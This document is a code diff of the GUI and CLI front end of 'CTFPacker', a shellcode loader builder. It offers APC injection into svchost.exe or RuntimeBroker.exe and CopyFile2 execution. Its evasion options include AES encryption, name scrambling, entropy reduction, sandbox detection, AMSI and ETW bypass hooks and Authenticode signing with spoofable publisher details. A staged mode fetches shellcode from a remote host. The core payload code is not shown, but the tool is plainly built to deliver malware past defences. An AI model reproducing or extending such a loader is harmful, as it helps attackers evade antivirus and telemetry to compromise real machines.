||||
def __init__(self, history_manager: HistoryManager, parent=None):
|
||||
super().__init__(parent)
|
||||
self._history = history_manager
|
||||
self._setup_ui()
|
||||
self._setup_tooltips()
|
||||
self._setup_shortcuts()
|
||||
self._connect_adaptive()
|
||||
self._refresh_profiles()
|
||||
|
||||
# ── Page indices ──────────────────────────────────────────────────────
|
||||
PAGE_PAYLOAD = 0
|
||||
PAGE_FORMAT = 1
|
||||
PAGE_EVASION = 2
|
||||
PAGE_SIGNING = 3
|
||||
PAGE_OUTPUT = 4
|
||||
|
||||
def _setup_ui(self):
|
||||
outer = QVBoxLayout(self)
|
||||
outer.setContentsMargins(0, 0, 0, 0)
|
||||
outer.setSpacing(0)
|
||||
|
||||
# ── Top bar: Profiles ──────────────────────────────────────────────
|
||||
bar = QWidget()
|
||||
bar.setObjectName("profilesBar")
|
||||
bl = QHBoxLayout(bar)
|
||||
bl.setContentsMargins(12, 7, 12, 7)
|
||||
self._profile_combo = QComboBox()
|
||||
self._profile_combo.setMinimumWidth(180)
|
||||
self._profile_combo.currentTextChanged.connect(self._load_profile)
|
||||
self._save_btn = QPushButton("Save")
|
||||
self._save_btn.clicked.connect(self._save_profile)
|
||||
delete_btn = QPushButton("Delete")
|
||||
delete_btn.setObjectName("deleteButton")
|
||||
delete_btn.clicked.connect(self._delete_profile)
|
||||
export_btn = QPushButton("Export ↑")
|
||||
export_btn.setToolTip("Export selected profile to a .ctfp file")
|
||||
export_btn.clicked.connect(self._export_profile)
|
||||
import_btn = QPushButton("Import ↓")
|
||||
import_btn.setToolTip("Import a .ctfp profile file")
|
||||
import_btn.clicked.connect(self._import_profile)
|
||||
bl.addWidget(QLabel("Profile:"))
|
||||
bl.addWidget(self._profile_combo, stretch=1)
|
||||
bl.addWidget(self._save_btn)
|
||||
bl.addWidget(delete_btn)
|
||||
bl.addWidget(export_btn)
|
||||
bl.addWidget(import_btn)
|
||||
outer.addWidget(bar)
|
||||
|
||||
# ── Body: sidebar + pages ──────────────────────────────────────────
|
||||
body = QWidget()
|
||||
body_layout = QHBoxLayout(body)
|
||||
body_layout.setContentsMargins(0, 0, 0, 0)
|
||||
body_layout.setSpacing(0)
|
||||
|
||||
self._nav = QListWidget()
|
||||
self._nav.setObjectName("sideNav")
|
||||
self._nav.setFixedWidth(148)
|
||||
self._nav.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
|
||||
self._nav.setVerticalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
|
||||
for name in ("Payload", "Format", "Evasion", "Code Signing", "Output"):
|
||||
self._nav.addItem(name)
|
||||
|
||||
vdiv = QFrame()
|
||||
vdiv.setFrameShape(QFrame.Shape.VLine)
|
||||
vdiv.setFrameShadow(QFrame.Shadow.Plain)
|
||||
|
||||
self._stack = QStackedWidget()
|
||||
self._stack.addWidget(self._page_payload())
|
||||
self._stack.addWidget(self._page_format())
|
||||
self._stack.addWidget(self._page_evasion())
|
||||
self._stack.addWidget(self._page_signing())
|
||||
self._stack.addWidget(self._page_output())
|
||||
|
||||
self._nav.currentRowChanged.connect(self._stack.setCurrentIndex)
|
||||
self._nav.setCurrentRow(0)
|
||||
|
||||
body_layout.addWidget(self._nav)
|
||||
body_layout.addWidget(vdiv)
|
||||
body_layout.addWidget(self._stack, stretch=1)
|
||||
outer.addWidget(body, stretch=1)
|
||||
|
||||
# ── Bottom bar: BUILD + Reset ──────────────────────────────────────
|
||||
sep_bot = QFrame()
|
||||
sep_bot.setFrameShape(QFrame.Shape.HLine)
|
||||
sep_bot.setFrameShadow(QFrame.Shadow.Plain)
|
||||
outer.addWidget(sep_bot)
|
||||
|
||||
footer = QWidget()
|
||||
footer.setObjectName("buildFooter")
|
||||
fl = QHBoxLayout(footer)
|
||||
fl.setContentsMargins(12, 8, 12, 8)
|
||||
self._build_btn = QPushButton("BUILD")
|
||||
self._build_btn.setObjectName("buildButton")
|
||||
self._build_btn.clicked.connect(self._on_build)
|
||||
self._reset_btn = QPushButton("Reset")
|
||||
self._reset_btn.setToolTip("Reset all fields to defaults")
|
||||
self._reset_btn.setFixedWidth(80)
|
||||
self._reset_btn.clicked.connect(self._reset_defaults)
|
||||
fl.addWidget(self._build_btn, stretch=1)
|
||||
fl.addWidget(self._reset_btn)
|
||||
outer.addWidget(footer)
|
||||
|
||||
# ── Page helpers ───────────────────────────────────────────────────────
|
||||
|
||||
def _make_page(self):
|
||||
"""Scroll-wrapped page container. Returns (scroll_widget, layout)."""
|
||||
inner = QWidget()
|
||||
layout = QVBoxLayout(inner)
|
||||
layout.setContentsMargins(28, 22, 28, 22)
|
||||
layout.setSpacing(16)
|
||||
scroll = QScrollArea()
|
||||
scroll.setWidgetResizable(True)
|
||||
scroll.setFrameShape(QFrame.Shape.NoFrame)
|
||||
scroll.setWidget(inner)
|
||||
return scroll, layout
|
||||
|
||||
def _page_header(self, title: str, subtitle: str = "") -> QWidget:
|
||||
"""Consistent page title + thin rule."""
|
||||
w = QWidget()
|
||||
vl = QVBoxLayout(w)
|
||||
vl.setContentsMargins(0, 0, 0, 6)
|
||||
vl.setSpacing(3)
|
||||
t = QLabel(title)
|
||||
t.setStyleSheet("font-size: 15px; font-weight: 700; color: #c9d1d9; background: transparent;")
|
||||
vl.addWidget(t)
|
||||
if subtitle:
|
||||
s = QLabel(subtitle)
|
||||
s.setStyleSheet(f"font-size: 11px; color: {TEXT_DIM}; background: transparent;")
|
||||
vl.addWidget(s)
|
||||
line = QFrame()
|
||||
line.setFrameShape(QFrame.Shape.HLine)
|
||||
line.setFrameShadow(QFrame.Shadow.Plain)
|
||||
vl.addWidget(line)
|
||||
return w
|
||||
|
||||
# ── Pages ──────────────────────────────────────────────────────────────
|
||||
|
||||
def _page_payload(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Payload", "Raw shellcode binary to embed in the loader"))
|
||||
self._payload_edit = DropZone(
|
||||
file_filter="Binary Files (*.bin);;All Files (*)",
|
||||
filter_exts=['.bin'],
|
||||
hint_text="Drag & drop shellcode (.bin) here",
|
||||
browse_title="Select Shellcode Binary",
|
||||
parent=self)
|
||||
self._payload_edit.path_changed.connect(
|
||||
lambda: self._clear_validation(self._payload_edit))
|
||||
layout.addWidget(self._payload_edit)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_format(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Output Format", "Loader type and injection technique"))
|
||||
|
||||
form = QFormLayout()
|
||||
form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
|
||||
form.setHorizontalSpacing(12)
|
||||
form.setVerticalSpacing(10)
|
||||
form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.FieldsStayAtSizeHint)
|
||||
|
||||
self._format_combo = QComboBox()
|
||||
self._format_combo.addItems(["EXE", "DLL"])
|
||||
self._format_combo.setMinimumWidth(140)
|
||||
form.addRow("Format:", self._format_combo)
|
||||
|
||||
self._inject_combo = QComboBox()
|
||||
self._inject_combo.addItems(["apc", "copyfile2"])
|
||||
self._inject_combo.setMinimumWidth(140)
|
||||
form.addRow("Injection:", self._inject_combo)
|
||||
|
||||
self._target_label = QLabel("Target process:")
|
||||
self._target_combo = QComboBox()
|
||||
self._target_combo.addItems(["RuntimeBroker.exe", "svchost.exe"])
|
||||
self._target_combo.setMinimumWidth(140)
|
||||
form.addRow(self._target_label, self._target_combo)
|
||||
|
||||
layout.addLayout(form)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_evasion(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Evasion", "Loader-level detection avoidance techniques"))
|
||||
|
||||
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
|
||||
self._scramble_check = QCheckBox("Scramble functions and variables")
|
||||
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
|
||||
self._sandbox_check = QCheckBox("Sandbox checks")
|
||||
for check in (self._encrypt_check, self._scramble_check,
|
||||
self._entropy_check, self._sandbox_check):
|
||||
layout.addWidget(check)
|
||||
|
||||
self._sb_thresh_row = QWidget()
|
||||
thresh_layout = QHBoxLayout(self._sb_thresh_row)
|
||||
thresh_layout.setContentsMargins(22, 0, 0, 0)
|
||||
thresh_layout.setSpacing(5)
|
||||
self._sb_uptime_lbl = QLabel("uptime")
|
||||
self._sb_uptime_spin = QSpinBox()
|
||||
self._sb_uptime_spin.setRange(0, 86400)
|
||||
self._sb_uptime_spin.setSingleStep(60)
|
||||
self._sb_uptime_spin.setValue(300)
|
||||
self._sb_uptime_spin.setSuffix(" s")
|
||||
self._sb_uptime_spin.setFixedWidth(72)
|
||||
self._sb_uptime_spin.setToolTip("Min uptime (s) — sandboxes reboot per sample")
|
||||
self._sb_ram_lbl = QLabel("RAM")
|
||||
self._sb_ram_spin = QSpinBox()
|
||||
self._sb_ram_spin.setRange(1, 512)
|
||||
self._sb_ram_spin.setValue(4)
|
||||
self._sb_ram_spin.setSuffix(" GB")
|
||||
self._sb_ram_spin.setFixedWidth(76)
|
||||
self._sb_ram_spin.setToolTip("Min RAM (GB) — VMs are usually memory-constrained")
|
||||
self._sb_cpu_lbl = QLabel("CPUs")
|
||||
self._sb_cpu_spin = QSpinBox()
|
||||
self._sb_cpu_spin.setRange(1, 256)
|
||||
self._sb_cpu_spin.setValue(2)
|
||||
self._sb_cpu_spin.setSuffix(" CPU")
|
||||
self._sb_cpu_spin.setFixedWidth(76)
|
||||
self._sb_cpu_spin.setToolTip("Min CPU count — hypervisors often expose 1 vCPU")
|
||||
for lbl, spin in (
|
||||
(self._sb_uptime_lbl, self._sb_uptime_spin),
|
||||
(self._sb_ram_lbl, self._sb_ram_spin),
|
||||
(self._sb_cpu_lbl, self._sb_cpu_spin),
|
||||
):
|
||||
thresh_layout.addWidget(lbl)
|
||||
thresh_layout.addWidget(spin)
|
||||
thresh_layout.addSpacing(12)
|
||||
thresh_layout.addStretch()
|
||||
self._sb_thresh_row.setVisible(False)
|
||||
self._sandbox_check.toggled.connect(self._sb_thresh_row.setVisible)
|
||||
layout.addWidget(self._sb_thresh_row)
|
||||
|
||||
# ── Trampoline hooks (TrampoLatté) ───────────────────────────────
|
||||
sep = QFrame()
|
||||
sep.setFrameShape(QFrame.Shape.HLine)
|
||||
sep.setFrameShadow(QFrame.Shadow.Plain)
|
||||
layout.addSpacing(6)
|
||||
layout.addWidget(sep)
|
||||
|
||||
hooks_lbl = QLabel("AMSI & ETW (TrampoLatté)")
|
||||
hooks_lbl.setStyleSheet(
|
||||
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
|
||||
"letter-spacing: 0.6px; text-transform: uppercase; "
|
||||
"background: transparent; border: none;")
|
||||
layout.addWidget(hooks_lbl)
|
||||
|
||||
self._amsi_check = QCheckBox("AMSI bypass")
|
||||
self._amsi_check.setToolTip(
|
||||
"Trampolines AmsiScanBuffer → always AMSI_RESULT_CLEAN.\n"
|
||||
"Bypasses .NET / PowerShell AMSI scanning.")
|
||||
self._etw_check = QCheckBox("ETW bypass")
|
||||
self._etw_check.setToolTip(
|
||||
"Trampolines EtwpEventWriteFull → immediate RET.\n"
|
||||
"Silences ETW telemetry from the CLR / runtime.")
|
||||
self._debug_check = QCheckBox("Debug mode (OutputDebugString)")
|
||||
self._debug_check.setToolTip(
|
||||
"Enables [TrampoLatte] debug prints via OutputDebugStringA.\n"
|
||||
"Visible in x64dbg / WinDbg / DebugView. Disable for production.")
|
||||
layout.addWidget(self._amsi_check)
|
||||
layout.addWidget(self._etw_check)
|
||||
layout.addWidget(self._debug_check)
|
||||
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_signing(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Code Signing", "Sign the loader with an Authenticode certificate"))
|
||||
|
||||
self._pfx_edit = DropZone(
|
||||
hint_text="Drag & drop certificate (.pfx) here",
|
||||
browse_title="Select PFX certificate",
|
||||
file_filter="PFX Files (*.pfx);;All Files (*)",
|
||||
filter_exts=[".pfx"],
|
||||
parent=self)
|
||||
layout.addWidget(self._pfx_edit)
|
||||
|
||||
form_sign = QFormLayout()
|
||||
form_sign.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
|
||||
form_sign.setHorizontalSpacing(12)
|
||||
form_sign.setVerticalSpacing(10)
|
||||
form_sign.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
|
||||
|
||||
self._pfx_pass_edit = QLineEdit()
|
||||
self._pfx_pass_edit.setEchoMode(QLineEdit.EchoMode.Password)
|
||||
form_sign.addRow("PFX Password:", self._pfx_pass_edit)
|
||||
layout.addLayout(form_sign)
|
||||
|
||||
sep = QFrame()
|
||||
sep.setFrameShape(QFrame.Shape.HLine)
|
||||
sep.setFrameShadow(QFrame.Shadow.Plain)
|
||||
layout.addSpacing(4)
|
||||
layout.addWidget(sep)
|
||||
|
||||
meta_label = QLabel("Signature Metadata")
|
||||
meta_label.setStyleSheet(
|
||||
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
|
||||
"letter-spacing: 0.6px; text-transform: uppercase; background: transparent; border: none;")
|
||||
layout.addWidget(meta_label)
|
||||
|
||||
form_meta = QFormLayout()
|
||||
form_meta.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
|
||||
form_meta.setHorizontalSpacing(12)
|
||||
form_meta.setVerticalSpacing(10)
|
||||
form_meta.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
|
||||
|
||||
self._sign_desc_edit = QLineEdit()
|
||||
self._sign_desc_edit.setPlaceholderText("Authenticode program name (blank = default)")
|
||||
self._sign_desc_edit.setToolTip("Sets -n in osslsigncode. Appears in Windows signature details.")
|
||||
form_meta.addRow("Publisher Name:", self._sign_desc_edit)
|
||||
|
||||
self._sign_url_edit = QLineEdit()
|
||||
self._sign_url_edit.setPlaceholderText("Authenticode program URL (blank = default)")
|
||||
self._sign_url_edit.setToolTip("Sets -i in osslsigncode. Appears in Windows signature details.")
|
||||
form_meta.addRow("Publisher URL:", self._sign_url_edit)
|
||||
|
||||
layout.addLayout(form_meta)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_output(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Output", "Output file path and base name"))
|
||||
out_row, self._output_edit = file_picker_row(
|
||||
self, "Output base name (e.g. ctfloader)", "All Files (*)", save_mode=True)
|
||||
layout.addLayout(out_row)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _setup_tooltips(self):
|
||||
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
|
||||
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
|
||||
self._inject_combo.setToolTip(
|
||||
"APC: Queue APC to suspended process (stealthier)\n"
|
||||
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
|
||||
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
|
||||
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
|
||||
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
|
||||
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
|
||||
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
|
||||
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
|
||||
self._pfx_pass_edit.setToolTip("Password for the PFX certificate file")
|
||||
self._output_edit.setToolTip("Base name for output files (e.g. 'loader' produces loader.exe/.dll)")
|
||||
self._build_btn.setToolTip("Start the build (Ctrl+B)")
|
||||
self._save_btn.setToolTip("Save current settings as a profile (Ctrl+S)")
|
||||
|
||||
def _setup_shortcuts(self):
|
||||
QShortcut(QKeySequence("Ctrl+B"), self, self._on_build)
|
||||
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
|
||||
|
||||
def _connect_adaptive(self):
|
||||
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
|
||||
self._format_combo.currentTextChanged.connect(self._on_format_changed)
|
||||
self._on_inject_changed(self._inject_combo.currentText())
|
||||
self._on_format_changed(self._format_combo.currentText())
|
||||
|
||||
def _on_inject_changed(self, method: str):
|
||||
is_apc = method == "apc"
|
||||
self._target_label.setVisible(is_apc)
|
||||
self._target_combo.setVisible(is_apc)
|
||||
|
||||
def _on_format_changed(self, fmt: str):
|
||||
is_exe = fmt == "EXE"
|
||||
item = self._nav.item(self.PAGE_SIGNING)
|
||||
if is_exe:
|
||||
item.setFlags(item.flags() | Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable)
|
||||
else:
|
||||
item.setFlags(item.flags() & ~(Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable))
|
||||
if self._nav.currentRow() == self.PAGE_SIGNING:
|
||||
self._nav.setCurrentRow(self.PAGE_OUTPUT)
|
||||
|
||||
def set_build_enabled(self, enabled: bool):
|
||||
self._build_btn.setEnabled(enabled)
|
||||
if enabled:
|
||||
self._build_btn.setText("BUILD")
|
||||
else:
|
||||
self._build_btn.setText("BUILDING...")
|
||||
|
||||
def _validate(self) -> bool:
|
||||
errors = []
|
||||
|
||||
payload = self._payload_edit.text().strip()
|
||||
if not payload:
|
||||
self._set_validation_error(self._payload_edit)
|
||||
errors.append("Payload file")
|
||||
elif not os.path.isfile(payload):
|
||||
self._set_validation_error(self._payload_edit)
|
||||
errors.append(f"Payload file not found: {payload}")
|
||||
|
||||
if errors:
|
||||
dlg_warn(self, "Missing Required Fields",
|
||||
f"Please fill in: {', '.join(errors)}")
|
||||
return False
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def _set_validation_error(widget):
|
||||
widget.setProperty("validationError", True)
|
||||
widget.style().unpolish(widget)
|
||||
widget.style().polish(widget)
|
||||
|
||||
@staticmethod
|
||||
def _clear_validation(widget):
|
||||
if widget.property("validationError"):
|
||||
widget.setProperty("validationError", False)
|
||||
widget.style().unpolish(widget)
|
||||
widget.style().polish(widget)
|
||||
|
||||
def _on_build(self):
|
||||
if not self._build_btn.isEnabled():
|
||||
return
|
||||
if not self._validate():
|
||||
return
|
||||
|
||||
config = BuildConfig(
|
||||
mode="stageless",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
sandbox_min_ram_gb=self._sb_ram_spin.value(),
|
||||
sandbox_min_cpu=self._sb_cpu_spin.value(),
|
||||
bypass_amsi=self._amsi_check.isChecked(),
|
||||
bypass_etw=self._etw_check.isChecked(),
|
||||
debug_mode=self._debug_check.isChecked(),
|
||||
pfx=self._pfx_edit.text() or None,
|
||||
pfx_password=self._pfx_pass_edit.text() or None,
|
||||
sign_description=self._sign_desc_edit.text().strip(),
|
||||
sign_url=self._sign_url_edit.text().strip(),
|
||||
output=self._output_edit.text() or "ctfloader",
|
||||
)
|
||||
self.build_requested.emit(config)
|
||||
|
||||
def _apply_config(self, config: BuildConfig):
|
||||
self._payload_edit.setText(config.payload_path)
|
||||
self._format_combo.setCurrentText(config.format)
|
||||
self._inject_combo.setCurrentText(config.inject_method)
|
||||
self._target_combo.setCurrentText(config.target_process)
|
||||
self._encrypt_check.setChecked(config.encrypt)
|
||||
self._scramble_check.setChecked(config.scramble)
|
||||
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
|
||||
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
|
||||
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
|
||||
self._sb_ram_spin.setValue(getattr(config, 'sandbox_min_ram_gb', 4))
|
||||
self._sb_cpu_spin.setValue(getattr(config, 'sandbox_min_cpu', 2))
|
||||
self._amsi_check.setChecked(getattr(config, 'bypass_amsi', False))
|
||||
self._etw_check.setChecked(getattr(config, 'bypass_etw', False))
|
||||
self._debug_check.setChecked(getattr(config, 'debug_mode', False))
|
||||
self._pfx_edit.setText(config.pfx or "")
|
||||
self._pfx_pass_edit.setText("") # never restored — password is not persisted
|
||||
self._sign_desc_edit.setText(getattr(config, 'sign_description', '') or "")
|
||||
self._sign_url_edit.setText(getattr(config, 'sign_url', '') or "")
|
||||
self._output_edit.setText(config.output)
|
||||
|
||||
def _reset_defaults(self):
|
||||
"""Reset all fields to BuildConfig defaults."""
|
||||
self._apply_config(BuildConfig(mode="stageless"))
|
||||
self._profile_combo.setCurrentIndex(0)
|
||||
|
||||
# -- Profile management --
|
||||
|
||||
def _refresh_profiles(self):
|
||||
self._profile_combo.blockSignals(True)
|
||||
self._profile_combo.clear()
|
||||
self._profile_combo.addItem("")
|
||||
for name in self._history.list_profiles("stageless"):
|
||||
self._profile_combo.addItem(name)
|
||||
self._profile_combo.blockSignals(False)
|
||||
|
||||
def _load_profile(self, name: str):
|
||||
if not name:
|
||||
return
|
||||
config = self._history.load_profile("stageless", name)
|
||||
if config:
|
||||
self._apply_config(config)
|
||||
|
||||
def _save_profile(self):
|
||||
name = self._profile_combo.currentText().strip()
|
||||
if not name:
|
||||
name, ok = dlg_text(self, "Save Profile", "Profile name:")
|
||||
if not ok or not name.strip():
|
||||
return
|
||||
name = name.strip()
|
||||
|
||||
config = BuildConfig(
|
||||
mode="stageless",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
sandbox_min_ram_gb=self._sb_ram_spin.value(),
|
||||
sandbox_min_cpu=self._sb_cpu_spin.value(),
|
||||
bypass_amsi=self._amsi_check.isChecked(),
|
||||
bypass_etw=self._etw_check.isChecked(),
|
||||
debug_mode=self._debug_check.isChecked(),
|
||||
pfx=self._pfx_edit.text() or None,
|
||||
pfx_password=self._pfx_pass_edit.text() or None,
|
||||
sign_description=self._sign_desc_edit.text().strip(),
|
||||
sign_url=self._sign_url_edit.text().strip(),
|
||||
output=self._output_edit.text() or "ctfloader",
|
||||
)
|
||||
self._history.save_profile("stageless", name, config)
|
||||
self._refresh_profiles()
|
||||
self._profile_combo.setCurrentText(name)
|
||||
|
||||
def _delete_profile(self):
|
||||
name = self._profile_combo.currentText().strip()
|
||||
if not name:
|
||||
return
|
||||
if dlg_ask(self, "Delete Profile", f"Delete profile '{name}'?"):
|
||||
self._history.delete_profile("stageless", name)
|
||||
self._refresh_profiles()
|
||||
|
||||
def _export_profile(self):
|
||||
name = self._profile_combo.currentText().strip()
|
||||
if not name:
|
||||
dlg_warn(self, "No Profile Selected",
|
||||
"Select a saved profile before exporting.")
|
||||
return
|
||||
try:
|
||||
data = self._history.export_profile("stageless", name)
|
||||
except KeyError:
|
||||
dlg_warn(self, "Export Failed",
|
||||
f"Profile '{name}' could not be found.")
|
||||
return
|
||||
path, _ = QFileDialog.getSaveFileName(
|
||||
self, "Export Profile", f"{name}.ctfp",
|
||||
"CTFPacker Profile (*.ctfp);;All Files (*)")
|
||||
if not path:
|
||||
return
|
||||
try:
|
||||
with open(path, "w") as fh:
|
||||
json.dump(data, fh, indent=2)
|
||||
except IOError as exc:
|
||||
dlg_error(self, "Export Failed", f"Could not write file:\n{exc}")
|
||||
|
||||
def _import_profile(self):
|
||||
path, _ = QFileDialog.getOpenFileName(
|
||||
self, "Import Profile", "",
|
||||
"CTFPacker Profile (*.ctfp);;All Files (*)")
|
||||
if not path:
|
||||
return
|
||||
try:
|
||||
with open(path, "r") as fh:
|
||||
data = json.load(fh)
|
||||
except (json.JSONDecodeError, IOError) as exc:
|
||||
dlg_error(self, "Import Failed",
|
||||
f"Could not read profile file:\n{exc}")
|
||||
return
|
||||
|
||||
profile_mode = data.get("mode", "")
|
||||
profile_name = data.get("name", "").strip()
|
||||
|
||||
if profile_mode not in ("staged", "stageless"):
|
||||
dlg_error(self, "Import Failed",
|
||||
"Invalid profile file: unknown mode.")
|
||||
return
|
||||
|
||||
if profile_mode != "stageless":
|
||||
if not dlg_ask(self, "Mode Mismatch",
|
||||
f"This profile is for the <b>{profile_mode}</b> tab, "
|
||||
f"not stageless.\nIt will be imported into the "
|
||||
f"<b>{profile_mode}</b> profile list.\n\nContinue?",
|
||||
default_yes=True):
|
||||
return
|
||||
|
||||
if profile_name in self._history.list_profiles(profile_mode):
|
||||
if not dlg_ask(self, "Profile Exists",
|
||||
f"A profile named '{profile_name}' already exists "
|
||||
f"in the {profile_mode} tab.\nOverwrite?"):
|
||||
return
|
||||
|
||||
try:
|
||||
mode, name = self._history.import_profile(data)
|
||||
except ValueError as exc:
|
||||
dlg_error(self, "Import Failed", str(exc))
|
||||
return
|
||||
|
||||
self.profile_imported.emit()
|
||||
if mode == "stageless":
|
||||
self._profile_combo.setCurrentText(name)
|
||||
else:
|
||||
dlg_info(self, "Profile Imported",
|
||||
f"Profile '{name}' imported into the {mode} tab.")
|
||||
@@ -0,0 +1,25 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Background build worker thread."""
|
||||
from PyQt6.QtCore import QThread, pyqtSignal
|
||||
|
||||
from core.build_config import BuildConfig
|
||||
from core.build_engine import BuildEngine
|
||||
|
||||
|
||||
class BuildWorker(QThread):
|
||||
"""Runs BuildEngine.build() in a background thread."""
|
||||
|
||||
log_message = pyqtSignal(str, str) # (message, level)
|
||||
build_finished = pyqtSignal(bool) # success
|
||||
|
||||
def __init__(self, config: BuildConfig, parent=None):
|
||||
super().__init__(parent)
|
||||
self._config = config
|
||||
|
||||
def run(self):
|
||||
def log_cb(message, level):
|
||||
self.log_message.emit(message, level)
|
||||
|
||||
engine = BuildEngine(log_cb)
|
||||
success = engine.build(self._config)
|
||||
self.build_finished.emit(success)
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""GUI entry point for CTFPacker."""
|
||||
|
||||
from gui.app import run_gui
|
||||
|
||||
if __name__ == "__main__":
|
||||
run_gui()
|
||||
+52
-767
@@ -5,805 +5,90 @@ Author: mocha
|
||||
X (Twitter): @mochabyte0x
|
||||
|
||||
'''
|
||||
import os
|
||||
import sys
|
||||
import random
|
||||
import subprocess
|
||||
import shutil, errno
|
||||
|
||||
from importlib import resources
|
||||
from core.hashing import Hasher
|
||||
from argparse import ArgumentParser
|
||||
from core.utils import Colors, banner
|
||||
from core.encryption import Encryption
|
||||
from core.build_config import BuildConfig
|
||||
from core.build_engine import BuildEngine
|
||||
|
||||
|
||||
def cli_log(message: str, level: str):
|
||||
"""Print build messages with CLI color coding."""
|
||||
if level == "success":
|
||||
print(Colors.green(f"[+] {message}"))
|
||||
elif level == "warning":
|
||||
print(Colors.light_yellow(f"[+] {message}"))
|
||||
elif level == "error":
|
||||
print(Colors.red(f"[!] {message}"))
|
||||
else:
|
||||
print(Colors.green(f"[i] {message}"))
|
||||
|
||||
|
||||
def main():
|
||||
parser = ArgumentParser(description="CTFPacker", epilog="Author: @mochabyte")
|
||||
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
|
||||
|
||||
# Creating the parser first
|
||||
parser = ArgumentParser(description="CTFPacker", epilog="Author: @mochabyte")
|
||||
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
|
||||
|
||||
# Creating the subparsers
|
||||
parser_staged = subparsers.add_parser("staged", help="Staged")
|
||||
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
|
||||
|
||||
# Creating the arguments for the staged subcommand
|
||||
# Staged subcommand
|
||||
parser_staged = subparsers.add_parser("staged", help="Staged")
|
||||
parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
|
||||
parser_staged.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
|
||||
parser_staged.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
|
||||
|
||||
parser_staged.add_argument("-inj", "--inject-method", type=str, choices=["apc", "copyfile2"], default="apc", help="Choose injection method: 'apc' for APC injection or 'copyfile2' for CopyFile2 progress callback execution (default: apc).")
|
||||
parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True)
|
||||
parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True)
|
||||
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True)
|
||||
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode is gonna be fetched.", required=True)
|
||||
parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.")
|
||||
|
||||
|
||||
